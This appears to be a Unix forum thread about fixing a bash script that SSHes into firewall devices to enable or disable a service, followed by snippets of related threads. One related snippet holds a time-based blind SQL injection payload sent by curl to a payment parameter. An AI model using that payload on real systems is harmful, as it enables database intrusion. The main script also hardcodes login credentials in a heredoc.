This is an output of my script errored out for "Syntax error near unexpected token `(' " Can someone tell me whats wrong with my script.
Below is my original script pasted.
Code:
#!/bin/bash
Script Creation Date 01/21/2010
Author baraghun
##****************************************************************
## ********** FUNCTION USAGE ***********
##****************************************************************
Script name without path
BASENAME=`basename $0`
Script Location
LOCATION=/home/myHome
The INFILE is going to use during the SSH
INFILE=${HOME}/config/inFile.txt
The changes will write to OUTFILE
OUTFILE=${HOME}/out/outFile
Functional Usage
usage() {
echo
echo "USAGE"
echo " "`basename $0`" <device> <disable|enable> "
echo
exit
}
echo
echo
echo " Preparing to service at request to Device ${1} in Question . "
echo
echo
Firewall() {
#Local Variables
#
local STATE="$1"
#
cat << EOF > $INFILE
admin
psswd
config
switch Services
http Firewall
admin-state ${STATE}
show
exit
exit
exit
EOF
}
#
#Validate the device name
#
echo $1 | egrep "^(cmox|pmox|tmox)[0-9][0-9][0-9][0-9]\-ra$" > /dev/null 2>&1
if [ $? -ne 0 ]
then
echo
echo "Node doesn't exist"
echo
else
echo
echo "Node does exist"
echo
fi
DPDEVICE="$1"
# Check the parameters
#
# Check the input parameters
#
case $2 in
disable)
Firewall disabled
echo " Disabling the Device in few seconds "
;;
enable)
Firewall enabled
echo " Enabling the Device in few seconds "
;;
*)
usage
;;
esac
#
# Apply the changes
#
DATE=`date`
ssh -T ${DPDEVICE} < $INFILE >> $OUTFILE
if [$? -eq 0]
then
echo " Report Logging . . "
mv -if $OUTFILE $OUTFILE(date +%y%m%d-%H%M%S).${DPDEVICE}
else
echo " Conection error.Please Validate the NODE name"
fi
#
#
chmod 755 ${OUTFILE}
The Output of the script is something like this , given below
Code:
$ ./routing.sh cmox2222-ra enable
**********************************************************************
Preparing to service at request to Device cmox2222-ra in Question . . .
**********************************************************************
Node does exist
Enabling the Device in few seconds
./routing.sh: line 107: syntax error near unexpected token `('
./routing.sh: line 107: ` mv -if $OUTFILE $OUTFILE(date +%y%m%d-%H%M%S).${DPDEVICE}'
Just Because of the above error the log file is not getting created & also not in the desired format. Can some one suggest me .. what needs to be changed or manipulated in the above script
Last edited by Scott; 02-03-2010 at 03:30 AM..
Reason: Fixed code tags
I also want one of the String from outFile which shows the current status of the server should be echoed .. as an output statement .. can you suggest me .
You just rename $OUTFILE to $OUTFILE$(date +%y%m%d-%H%M%S).${DPDEVICE}, so ${OUTFILE} does no longer exist when to try to change it's access mode. You have to save the new name in a variable for later use, because 'date' might give a different timestamp when you rerun 'date'.
To display a certain line from the outfile, you can use 'grep' or 'awk' for example.
---------- Post updated at 09:06 ---------- Previous update was at 09:03 ----------
Just recongnized, that NEWFILE does not get set in the else-part just before the chmod. So you have to set NEWFILE=$OUTFILE in the else-part or - if it is OK to run 'chmod' only in the then-block - move 'chmod' just before the 'mv' command:
***********************************************************
Preparing to service at request to Device tmox6324-ra in Question . . .
***********************************************************
Node does exist
Enabling the Device in few seconds
Report Logging . .
chmod: WARNING: can't access /home/MyHome/out/outFile100203-023547.tmox6324-ra.enable
[/output]
Created Output Files
-rw-r--r-- 1 1957 Feb 3 02:29 outFile100203-022952.tmox6324-ra.enable
-rw-r--r-- 1 1958 Feb 3 02:31 outFile100203-023128.tmox6324-ra.disable
-rw-r--r-- 1 1957 Feb 3 02:31 outFile100203-023155.tmox6324-ra.enable
Oh yeah !! it worked .. gr8 .. but new challlenge for me is to pull the string
{ admin-state enabled/disabled } from the latest created outFile . This string line count is 12. can you give me any such syntax to insert ..this in to my output window .
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
I have 2 files like a.txt and b.txt and the content is as below
cat a.txt
810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar
1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar
2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar
687942896 665272... (1 Reply)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
I tried to execute the code but I got this error
./Array.c: line 9: syntax error near unexpected token '('
./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);'
and
#include<stdio.h>
#define MAXARRAY 1000
main()
{
int a,
nvals;
nvals =... (7 Replies)
Hi,
I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script :
#!/bin/bash
cd... (6 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
I'm getting the following error:
line 21: syntax error near unexpected token `done`
line 21: `done`
and I haven't been able to figure out why.
Here is my code
#!/bin/sh
if ; then
echo 'Usage: rename getexp/replStr '
exit 0
fi
arg = $1
shift
while ; do (5 Replies)